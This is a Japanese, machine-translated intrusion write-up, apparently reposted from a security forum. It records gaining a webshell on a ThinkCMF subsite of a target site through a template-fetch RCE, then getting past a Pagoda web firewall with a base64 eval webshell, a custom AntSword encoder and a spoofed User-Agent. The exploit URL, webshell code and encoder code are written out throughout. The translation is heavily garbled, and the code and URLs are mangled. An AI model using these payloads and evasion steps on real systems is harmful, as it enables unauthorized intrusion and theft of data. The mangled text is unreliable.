0x00情報収集
メインサイトにはクラウドWAFがあるため、テストされるとすぐにブロックされ、予備テストで使用できる穴がないため、サブサイトに切り替えて、サブサイトを通じて貴重な情報を取得したいと考えています。
これは、プロキシアカウントを照会するサイトです。 URL入力管理者は自動的に背景にジャンプします。
このパラメーターを見て、それはcmfになるかもしれないと推測します
0x01 getShell
ThinkCmfはたまたまRCEを持っています。あなたはそれを試すことができます
?a=fetchtemplatefile=public/indexprefix='' content=phpfile_put_contents( 'test1.php'、 '?php @eval($ _ post [zero])?')/php
白い画面は良い兆候です、それは成功する必要があります
訪問
Ant Sword Connectionを試して、エラーを直接報告してください。ファイアウォールに遭遇したのかもしれません
その後、戻ってきて、シェルが手動でphpinfoを試してみてください
案の定、パゴダファイアウォールがあります
0x02パゴダファイアウォールをバイパス
パゴダはいくつかの機能をフィルタリングする必要があるため、ペイロードを直接渡すことは間違いなく不可能であるため、トラフィックを難読化する必要があります。
すべてのペイロードBase64エンコーディングを転送してみてください
コード化されたbase64は渡されるため、Xiao MAもそれに応じて変更を加える必要があります。合格したbase64を1回復号化するだけです。
ポニーは次のとおりです。
?php @eval(base64_decode($ _ post [zero]));
cghwaw5mbygpow==としてphpinfo(); base64をエンコードします
送信
パゴダファイアウォールはもう傍受されておらず、パゴダファイアウォールをうまくバイパスしていることがわかります。
0x03アリの剣の変換
Base64エンコーディングを使用していますが、Ant Swordには実際に独自のBase64エンコーディングとデコーダーが付属しています。
付属のbase64エンコーダーを直接使用してみてください
なぜこれが起こっているのですか?
アリの剣からの流れを分析しようとします
げっぷにプロキシを設定します
トラフィックを傍受します
WAFによって簡単に認識される2つの場所が明らかにあることがわかります。
1つは次のとおりです。ユーザーエージェントヘッダーのキーワード:Antsword/v2.1これは、WAFに私が誰であるかを伝えることに相当するため、これが変更される最初のポイントです。
第二に、アリの剣のトラフィックには実際にキーワードがあります。たとえば、CMDパラメーターの後の評価base64_decodeはすべてであり、ポニーにはbase64復号化が付属しているため、デフォルトのエンコーダーを使用すると、WAFを通過できないだけでなく、wafがなければポニーに接続できないため、エンコーダーを自分で定義する必要があります。
新しいPHPエンコーダーを作成します
payloadbase64を1回だけエンコードする必要があるため、データの割り当て['_'] Base64を直接処理できます。ランダムなパラメーターがあるかどうかは関係ありません。
エンコーダーは次のとおりです
「Strictを使用」;
/*
* @param {string} pwd接続パスワード
* @param {array}エンコーダー処理前のデータペイロード配列
* @return {array}データエンコーダーによって処理されたペイロード配列
*/
module.exports=(pwd、data、ext={})={
data [pwd]=buffer.from(data ['_'])。toString( 'base64');
データを削除['_'];
データを返す;
}
次に、UAヘッダーを変更します
エンコーダーの適用デコーダーはデフォルトで指定する必要はありません
スパムデータとマルチパートパケットを追加することを選択することをお勧めします
接続をもう一度テストします
次に、ディレクトリをクリックして、まだ問題があることがわかります。ディレクトリを横断することはできません。この問題は、実際にはゴジラによって解決できます。ゴジラ馬をアップロードします。
誰かがここで尋ねてから、ゴジラの馬を直接アップロードするだけですか?実際の状況は、GETパラメーター送信に長さの制限があり、一部のシンボルにより、PHPファイルの切り捨てがそのままアップロードできなくなることです。
ウェブサイトはかなりありますが、メインサイトがないことは残念です。データベースには、プロキシアカウントがたくさんあります。それは時間の無駄です
0x03要約
1。BCのターゲットメインサイトにアクセスする場合、搾取可能な脆弱性はありません。サブサイトにアクセスして管理ディレクトリに入力することにより、背景にジャンプします。 2。CMSフィンガープリントクエリを介して、サブサイトはThinkCMFフレームワークであることがわかりました。3http://www.xxx.com/?a=fetchtemplatefile=public/indexprefix='content=file_put_put_contents(ZEL.PHP @evAl [ZEL。アクセスアドレスhttp://www.xxx.com/test1.phpに空白が表示されます。 5.アリの剣の接続を試して、エラーを直接報告し、ポストコマンドを実行し、Pagodaファイアウォールがhttp://wwwww.xxx.com/test1.phppost:zero=phpinfo(); 6;ここでRCEは、文を書いています。Base64Encryption3http://www.xxx.com/?a=fetchtemplatefile=public/indexprefix='Content=file_put_put_contents('test2.php','?php @eval(base64_decode($ _ post [zero])7。 phpinfo(); base64としてcghwaw5mbygpow==としてbase64をエンコードし、http://wwwww.xxx.com/test2.phppost:zero=cghwaw5mbygpow5mbygpow==7 pagoda fir fir fir fir fir fir fir fir fira firewallは、アリのエージェントをインターセプトします。 CMDパラメーター。 1つは、ユーザーエージェントヘッダーのキーワード:Antsword/v2.1です。これは、WAFに私が誰であるかを伝えることと同等です。これは、変更される最初のポイントです。第二に、アリの剣のトラフィックは実際にはまだキーワードです。たとえば、CMDパラメーターの後の評価base64_decodeはすべてであり、私たちの小さな馬にはbase64 Decryption 8が付属しています。
/** @param {string} pwd接続パスワード* @param {array} data payload array before encoder processing* @return {array} data payload array andy encoder processing*/module.exports=(pwd、data、ext={})={{{{{
data [pwd]=buffer.from(data ['_'])。toString( 'base64');
データを削除['_'];
データを返す;} 9。 Ant Sword user-agentvaule:のリクエスト情報でUAヘッダー名:を通常のHTTP要求値に変更します。まだアクセスしないようにディレクトリをクリックします。 12.同じ方法を使用して、GodzillaのデフォルトのBase64エンコーダーをロードおよび改造します。これにより、パゴダファイアウォールをバイパスして通常アクセスできます。
オリジナルリンク:https://xz.aliyun.com/t/9295
Recommended Comments